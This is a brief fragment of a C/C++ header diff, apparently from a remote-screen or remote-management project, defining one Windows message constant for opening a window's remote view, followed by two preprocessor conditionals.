#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
|
||||||
|
|
||||||
#ifdef _UNICODE
|
#ifdef _UNICODE
|
||||||
#if defined _M_IX86
|
#if defined _M_IX86
|
||||||
|
|||||||
Reference in New Issue
Block a user